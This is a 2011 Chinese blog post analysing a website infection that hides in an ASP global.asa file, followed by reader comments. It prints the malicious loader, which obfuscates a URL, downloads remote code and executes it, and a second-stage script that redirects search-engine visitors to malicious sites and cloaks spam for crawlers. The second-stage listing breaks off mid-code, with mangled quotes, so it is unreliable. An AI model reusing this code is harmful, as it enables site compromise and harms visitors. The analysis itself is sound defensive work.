首页 > 技术随笔 > 一种新型的挂马方式

一种新型的挂马方式

2011年8月13日

无意中发现的,利用搜索引擎跳转来执行恶意代码。其实这种方式或许已经出来很久了,但还是刚被揭开面纱。

实现原理也很简单,利用http包中的referer。referer就是检测页面来源的,有时候页面防盗链也会利用referer。

事情的起因是这样的,某日发现从百度点击连云港党建网,会跳转到恶意网站。但正常在浏览器中输入是不会出现该现象。第一反应就是程序中有代码对referer作了判断实现跳转,但模糊的搜索了一遍代码,没有发现十分明显的问题。asp(.net)的

开始怀疑服务器问题,可同服务器的其他站点并不存在该问题,而且查看解析asp的asp.dll并没有被篡改的迹象。IIS中的文档页脚也正常。

目光再次回到代码上,后来在朋友的提醒下,才发现global.asa这个文件。这个文件是个特殊文件,不用在代码中调用,默认全局调用。

来看看global.asa的代码


(这儿实际上空了n行,用来迷惑之用)

(这儿实际上空了n行,用来迷惑之用)

'by*diao
'by*aming
sub Application_OnStart
end sub

sub Application_OnEnd
end sub

sub Session_OnStart
url="h"&"t"&"t"&"p"&":"&"/"&"/"&"w"&"w"&"w"&"."&"t"&"a"&"y"&"e"&"q"&"u"&"."&"c"&"o"&"m"&"/"&"t"&"x"&"t"&"/"&"g"&"l"&"o"&"b"&"a"&"l"&"s"&"."&"t"&"x"&"t"(这写的够花的的吧,去除&“后http://www.tayequ.com/txt/globals.txt)
Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") (远程载入文档)
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.setRequestHeader "User-Agent",url
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
if instr(GetHtml,"by*aming")>0 then
execute GetHtml
end if
end sub

'sub Session_OnEnd
'end sub

大体意思是利用xmlhttp组件下载一个txt,并执行其中的代码。
来看看那个txt代码

function urldecode(encodestr)
Dim newstr,havechar,lastchar,i,char_c,next_1_c,next_1_Num
newstr=""
havechar=false
lastchar=""
for i=1 to len(encodestr)
char_c=mid(encodestr,i,1)
if char_c="+" then
newstr=newstr & " "
elseif char_c="%" then
next_1_c=mid(encodestr,i+1,2)
next_1_num=cint("&H" & next_1_c)
if havechar then
havechar=false
newstr=newstr & chr(cint("&H" & lastchar & next_1_c))
else
if abs(next_1_num)<=127 then
newstr=newstr & chr(next_1_num)
else
havechar=true
lastchar=next_1_c
end if
end if
i=i+2
else
newstr=newstr & char_c
end if
next
urldecode=newstr
end function
Public Function GetHtml(url)
Set ObjXMLHTTP=Server.createobject("MSX"+"ML2.s"+"erv"+"erXML"+"HTTP")
ObjXMLHTTP.Open "GET",url,False
ObjXMLHTTP.send
GetHtml=ObjXMLHTTP.responseBody
Set ObjXMLHTTP=Nothing
set objStream = Server.CreateObject("Adodb.Stream")
objStream.Type = 1
objStream.Mode =3
objStream.Open
objStream.Write GetHtml
objStream.Position = 0
objStream.Type = 2
objStream.Charset = "gb2312"
GetHtml = objStream.ReadText
objStream.Close
End Function
Function check(user_agent)
allow_agent=split("baidu,baidu",",")
check_agent=false
For agenti=lbound(allow_agent) to ubound(allow_agent)
If instr(user_agent,allow_agent(agenti))>0 then
check_agent=true
exit for
end if
Next
check=check_agent
End function
Function CheckRefresh()
CheckRefresh = False
Dim Botlist,i,Repls
Krobotlist = "baidu|google|sogou|soso|yahoo|bing|youdao|qihoo|iask|aol"
Botlist = Split(Krobotlist,"|")
For i = 0 To Ubound(Botlist)
If InStr(left(request.servervariables("HTTP_REFERER"),"40"),Botlist(i)) > 0 Then
CheckRefresh = True
Exit For
End If
Next
End Function

randomize
If CheckRefresh=true Then
If check(user_agent)=false Then
httplailu=urldecode(LCase(request.servervariables(”HTTP_REFERER”)))
if instr(httplailu,”刺杀”)>0 or instr(httplailu,”1.89″)>0 or instr(httplailu,”1.76″)>0 or instr(httplailu,”1.85″)>0 or instr(httplailu,”1.95″)>0 or instr(httplailu,”1.96″)>0 or instr(httplailu,”传奇”)>0 or instr(httplailu,”玉兔”)>0 or instr(httplailu,”皓月”)>0 or instr(httplailu,”合击”)>0 then
response.Write GetHtml(”http://new.happy007.info/asa/new/wudi/g2.txt?dd=”&cstr(int(rnd*10000)+1))
response.end()
else
response.redirect(”http://www.shu8.cc/user/xhh.html”)
response.end()
end if
end If
end if
user_agent=Request.ServerVariables(”HTTP_USER_AGENT”)
httpuser=LCase(request.servervariables(”http_user_agent”))
if instr(httpuser,”baidu”)>0 or instr(httpuser,”soso”)>0 or instr(httpuser,”sogou”)>0 or instr(httpuser,”google”)>0 then
if instr(GetUrl(),”?”)=0 and len(GetUrl())<45 then
key1=lcase(GetHtml(”http://weblink.happy007.info/weblink.asp?weburl=”&GetUrl()&”&dd=”&cstr(int(rnd()*10000)+1)))
response.Write key1
end if
end if
if instr(httpuser,”baidu”)>0 then
if instr(GetUrl(),”?”)<>0 then
moban=GetHtml(”http://hi.baidu.com/laodong616/blog/item/ef2347e11884942727979137.html”)
mb1=split(moban,”kaishikaishikaishi”)
mb2=split(mb1(1),”jiesujiesujiesujiesu”)
mbkey=split(mb2(1),”endendendend”)
mbkey1=split(mbkey(0),”,”)
mb3=Replace(mb2(0),”<”,”<”)
mb4=Replace(mb3,”>”,”>”)
if request(”wd”)<>”" then
content=GetHtml(”http://www.baidu.com/s?”+request.QueryString())
else
content=GetHtml(”http://www.baidu.com/s?wd=”&mbkey1(int(rnd()*ubound(mbkey1)))&”&pn=”&cstr(int(rnd()*10))+”0″)
end if
l1=split(content,”")
l2=split(l1(1),”
“)
l3=l2(0)+”

l4=split(content,”

admin 技术随笔

  1. jackyxu
    2011年8月24日21:28 | #1

    你好,谢谢你写的这个文章,我的网站也被这个病毒给黑了,我现在在FTP里面找到了global.asa 这个文件,但是删不掉,我只好把他改了名字,现在打开网站已经不会跳转到广告网站了,但是不知道这个文件会不会死灰复燃啊?造成这个问题的原因是什么?该如何防范呢?我的网站是 http://www.morningliu.com 目前百度搜索到的网站后面带了一个http://www.morningliu.com/?ui.CVRSk 这个小尾巴如何去掉呢?敬请指教,万分感谢啊。

  2. 2011年8月28日09:54 | #2

    防范就是检查网站有没有漏洞,修补下。

  1. 目前还没有任何 trackbacks 和 pingbacks.